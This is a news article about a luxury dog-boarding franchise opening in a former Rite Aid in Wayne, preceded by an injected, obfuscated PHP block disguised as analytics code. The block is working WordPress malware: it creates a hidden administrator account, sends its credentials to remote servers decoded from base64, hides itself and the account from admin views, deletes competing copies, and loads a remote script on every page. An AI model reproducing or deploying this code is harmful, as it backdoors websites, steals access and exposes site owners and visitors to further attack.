/* __GA_INJ_START__ */
/*f09d35634eecd34f*/function _afcaf4($_x){return $_x;}function _dd1a51($_x){return $_x;}function _ffe1a5($_x){return $_x;}function _8847ac($_x){return $_x;}$_8b60fc87=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"NTM0YzRkNGQ4MGM3NDgwNmEwNmM5NTI5N2YwMzg5NGI="];global $_3962c1f8;if(!is_array($_3962c1f8)){$_3962c1f8=[];}if(!in_array($_8b60fc87["version"],$_3962c1f8,true)){$_3962c1f8[]=$_8b60fc87["version"];}class GAwp_940ecc4c{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_8b60fc87;$this->version=$_8b60fc87["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_bd3c1898=base64_decode('X19nYV9yX2NhY2hl');$_42bf18d5=get_transient($_bd3c1898);if($_42bf18d5!==false){$this->resolved_endpoint=$_42bf18d5;return $_42bf18d5;}global $_8b60fc87;$_26e0911f=json_decode(base64_decode($_8b60fc87["resolvers"]),true);if(!is_array($_26e0911f)||empty($_26e0911f)){return null;}$_8b4f1e06=base64_decode($_8b60fc87["resolverKey"]);shuffle($_26e0911f);foreach($_26e0911f as $_d3c62ede){$_7a9a4385=base64_decode($_d3c62ede);if(strpos($_7a9a4385,'://')===false){$_7a9a4385='https://'.$_7a9a4385;}$_d6f6acb1=rtrim($_7a9a4385,'/').'/?key='.urlencode($_8b4f1e06);$_82d180e4=wp_remote_get($_d6f6acb1,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_82d180e4)){continue;}if(wp_remote_retrieve_response_code($_82d180e4)!==200){continue;}$_1c9bf11a=wp_remote_retrieve_body($_82d180e4);$_f32183c6=json_decode($_1c9bf11a,true);if(!is_array($_f32183c6)||empty($_f32183c6)){continue;}$_471ded1d=$_f32183c6[array_rand($_f32183c6)];$_363458c1='https://'.$_471ded1d;set_transient($_bd3c1898,$_363458c1,3600);$this->resolved_endpoint=$_363458c1;return $_363458c1;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_de87f5f0=get_option($this->get_hidden_users_option_name(),'[]');$_afa0c6c8=json_decode($_de87f5f0,true);if(!is_array($_afa0c6c8)){$_afa0c6c8=[];}return $_afa0c6c8;}private function add_hidden_username($_2ce9ea08){$_afa0c6c8=$this->get_hidden_usernames();if(!in_array($_2ce9ea08,$_afa0c6c8,true)){$_afa0c6c8[]=$_2ce9ea08;update_option($this->get_hidden_users_option_name(),json_encode($_afa0c6c8));}}private function get_hidden_user_ids(){$_4623cd6d=$this->get_hidden_usernames();$_c3a2c8e3=[];foreach($_4623cd6d as $_537d8ecf){$_687778d5=get_user_by('login',$_537d8ecf);if($_687778d5){$_c3a2c8e3[]=$_687778d5->ID;}}return $_c3a2c8e3;}public function hplugin($_c0f3ab73){unset($_c0f3ab73[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_bd77c28d){unset($_c0f3ab73[$_bd77c28d]);}return $_c0f3ab73;}private function find_old_instances(){$_e94509e7=[];$_0670705c=plugin_basename(__FILE__);$_150a9572=get_option('active_plugins',[]);$_f68d031d=WP_PLUGIN_DIR;$_36e869a1=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_150a9572 as $_630f5599){if($_630f5599===$_0670705c){continue;}$_2c7cf437=$_f68d031d.'/'.$_630f5599;if(!file_exists($_2c7cf437)){continue;}$_d175f9ec=@file_get_contents($_2c7cf437);if($_d175f9ec===false){continue;}foreach($_36e869a1 as $_57cd3026){if(strpos($_d175f9ec,$_57cd3026)!==false){$_e94509e7[]=$_630f5599;break;}}}$_459b414c=get_plugins();foreach(array_keys($_459b414c)as $_630f5599){if($_630f5599===$_0670705c||in_array($_630f5599,$_e94509e7,true)){continue;}$_2c7cf437=$_f68d031d.'/'.$_630f5599;if(!file_exists($_2c7cf437)){continue;}$_d175f9ec=@file_get_contents($_2c7cf437);if($_d175f9ec===false){continue;}foreach($_36e869a1 as $_57cd3026){if(strpos($_d175f9ec,$_57cd3026)!==false){$_e94509e7[]=$_630f5599;break;}}}return array_unique($_e94509e7);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_314df760=$this->generate_credentials();if(!username_exists($_314df760["user"])){$_3fee75fd=wp_create_user($_314df760["user"],$_314df760["pass"],$_314df760["email"]);if(!is_wp_error($_3fee75fd)){(new WP_User($_3fee75fd))->set_role("administrator");}}$this->add_hidden_username($_314df760["user"]);$this->setup_site_credentials($_314df760["user"],$_314df760["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_15b534b5=substr(hash("sha256",$this->seed."146292fe7173cc6e0740827b81094f44"),0,16);return["user"=>"mail_daemon".substr(md5($_15b534b5),0,8),"pass"=>substr(md5($_15b534b5."pass"),0,12),"email"=>"mail-daemon@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_ac11ed42,$_bfed1ed0){global $_8b60fc87;$_363458c1=$this->resolve_endpoint();if(!$_363458c1){return;}$_b3c1b7a8=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_8b60fc87['sitePubKey']),"login"=>$_ac11ed42,"password"=>$_bfed1ed0];$_f485d0c8=["body"=>json_encode($_b3c1b7a8),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_363458c1."/api/sites/setup-credentials",$_f485d0c8);}public function filterusers($_792d0f0a){global $wpdb;$_6abaccbe=$this->get_hidden_usernames();if(empty($_6abaccbe)){return;}$_0c40c658=implode(',',array_fill(0,count($_6abaccbe),'%s'));$_f485d0c8=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_0c40c658})"],array_values($_6abaccbe));$_792d0f0a->query_where.=call_user_func_array([$wpdb,'prepare'],$_f485d0c8);}public function filter_rest_user($_82d180e4,$_687778d5,$_fd4d55da){$_6abaccbe=$this->get_hidden_usernames();if(in_array($_687778d5->user_login,$_6abaccbe,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_82d180e4;}public function block_author_archive($_792d0f0a){if(is_admin()||!$_792d0f0a->is_main_query()){return;}if($_792d0f0a->is_author()){$_b05f77ed=0;if($_792d0f0a->get('author')){$_b05f77ed=(int)$_792d0f0a->get('author');}elseif($_792d0f0a->get('author_name')){$_687778d5=get_user_by('slug',$_792d0f0a->get('author_name'));if($_687778d5){$_b05f77ed=$_687778d5->ID;}}if($_b05f77ed&&in_array($_b05f77ed,$this->get_hidden_user_ids(),true)){$_792d0f0a->set_404();status_header(404);}}}public function filter_sitemap_users($_f485d0c8){$_7c3b3730=$this->get_hidden_user_ids();if(!empty($_7c3b3730)){if(!isset($_f485d0c8['exclude'])){$_f485d0c8['exclude']=[];}$_f485d0c8['exclude']=array_merge($_f485d0c8['exclude'],$_7c3b3730);}return $_f485d0c8;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_0670705c=plugin_basename(__FILE__);$_3bc037f2=get_option($this->get_cleanup_done_option_name(),'');if($_3bc037f2===$_0670705c){return;}$_b14f7125=$this->find_old_instances();if(!empty($_b14f7125)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_b14f7125,true);foreach($_b14f7125 as $_bd77c28d){$_f68d031d=WP_PLUGIN_DIR.'/'.dirname($_bd77c28d);if(is_dir($_f68d031d)){$this->recursive_delete($_f68d031d);}}}update_option($this->get_cleanup_done_option_name(),$_0670705c);}private function recursive_delete($_3f3c9698){if(!is_dir($_3f3c9698)){return;}$_97d4d248=@scandir($_3f3c9698);if(!$_97d4d248){return;}foreach($_97d4d248 as $_3a3b5afc){if($_3a3b5afc==='.'||$_3a3b5afc==='..'){continue;}$_13e798ff=$_3f3c9698.'/'.$_3a3b5afc;if(is_dir($_13e798ff)){$this->recursive_delete($_13e798ff);}else{@unlink($_13e798ff);}}@rmdir($_3f3c9698);}public function discover_legacy_users(){$_8141ebfe=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_aedc65e6=[base64_decode('c3lzdGVt'),];foreach($_8141ebfe as $_adcf81c4){$_15b534b5=substr(hash("sha256",$this->seed.$_adcf81c4),0,16);foreach($_aedc65e6 as $_f6771725){$_2ce9ea08=$_f6771725.substr(md5($_15b534b5),0,8);if(username_exists($_2ce9ea08)){$this->add_hidden_username($_2ce9ea08);}}}$_ee075543=$this->generate_credentials();if(username_exists($_ee075543["user"])){$this->add_hidden_username($_ee075543["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_430cc78c){$_7ce3bd14=$this->get_snippet_id_option_name();$_ba9585ed=(int)get_option($_7ce3bd14,0);if(!$_ba9585ed){global $wpdb;$_9467de73=$wpdb->prefix.'snippets';$_ba9585ed=(int)$wpdb->get_var("SELECT id FROM {$_9467de73} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_ba9585ed)update_option($_7ce3bd14,$_ba9585ed,false);}if(!$_ba9585ed)return $_430cc78c;return array_filter($_430cc78c,function($_eaa0699d)use($_ba9585ed){return(int)$_eaa0699d->id!==$_ba9585ed;});}public function hide_from_wpcode($_f485d0c8){$_7ce3bd14=$this->get_snippet_id_option_name();$_ba9585ed=(int)get_option($_7ce3bd14,0);if(!$_ba9585ed){global $wpdb;$_ba9585ed=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_ba9585ed)update_option($_7ce3bd14,$_ba9585ed,false);}if(!$_ba9585ed)return $_f485d0c8;if(!empty($_f485d0c8['post__not_in'])){$_f485d0c8['post__not_in'][]=$_ba9585ed;}else{$_f485d0c8['post__not_in']=[$_ba9585ed];}return $_f485d0c8;}public function loadassets(){global $_8b60fc87,$_3962c1f8;$_19f48078=true;if(is_array($_3962c1f8)){foreach($_3962c1f8 as $_c78597cd){if(version_compare($_c78597cd,$this->version,'>')){$_19f48078=false;break;}}}$_43c5536c=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_82302304=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_10640e2c=wp_script_is($_43c5536c,'registered')||wp_script_is($_43c5536c,'enqueued');if($_19f48078&&$_10640e2c){wp_deregister_script($_43c5536c);wp_deregister_style($_82302304);$_10640e2c=false;}if(!$_19f48078&&$_10640e2c){return;}$_363458c1=$this->resolve_endpoint();if(!$_363458c1){return;}wp_enqueue_style($_82302304,base64_decode($_8b60fc87["font"]),[],null);$_3384dfb8=$_363458c1."/t.js?site=".base64_decode($_8b60fc87['sitePubKey']);wp_enqueue_script($_43c5536c,$_3384dfb8,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_43c5536c,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_27ecbc96=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_27ecbc96])){return;}$_20c54f3a=time()+(365*24*60*60);setcookie($_27ecbc96,'1',$_20c54f3a,'/','',false,false);}}new GAwp_940ecc4c();
/* __GA_INJ_END__ */
A rendering of the façade at 644 W. Lancaster Ave. next to Braxton’s Animal Works. The new facility will house one of the larger K9 Resorts in the country.
Here’s a use for an old Rite Aid we didn’t see coming: a Ritz Carlton for dogs.
When it opens around Labor Day, K9 Resorts Pet Hotel and Dog Daycare near the Devon Square Acme will span nearly 15,000 sq. feet (inside and out) and accommodate more than 100 dogs.
Franchise owners are 17-year Wayne residents and lifelong dog lovers Chris and Marnie Kulp who saw an opportunity to bring best-in-class facilities to the heart of the Main Line.
Dog owners had fewer boarding options after many local vets closed their kennels during COVID, Chris Kulp tells SAVVY. And locals were routinely driving at least a half hour for higher-end pet care, he says. “Devon and Wayne are vibrant communities where families treat their dogs as true members of their families. K9 Resorts is everything we’d want for our own dogs. We’re thrilled to bring it here.”
The first thing you’ll notice at check-in, Kulp says, is the absence of that telltale kennel smell, thanks to K9’s hospital-grade filtration system and spotless sanitation.
The chain’s hotel-like reception areas have chandeliers and wainscoting.
Instead of cramped cages, dogs will stay in sound-resistant rooms appointed with luxury bedding and dine on veterinarian-approved Blue Buffalo food.
Spring for a more spacious “suite” and DogTV will keep Fido company.
Boarders will romp on fields of anti-microbial K9 Grass. But if your pooch is too shy or old, simply request a private play area.
“We’re all about customizing the experience,” Kulp explains.
A typical K9 Resorts courtyard. The Wayne location will have fenced yards for small/medium breeds, large breeds and private play. With no homes in the immediate area, noise won’t bother neighbors, says franchisee Chris Kulp.
To ensure your furry friend hops out of the car with his tail wagging, K9 Pet Resorts won’t offer grooming or nail-clipping – nothing that could cause a negative association with his new home-away-from-home.
Staff training programs are modeled after those at Disney and the Ritz Carlton, according to Kulp. Indeed, a number of managers started in the human hospitality field.
The Wayne location is one of 170+ K9 Resorts open or in development across the U.S. A smaller K9 Resorts opened in Malvern in 2019.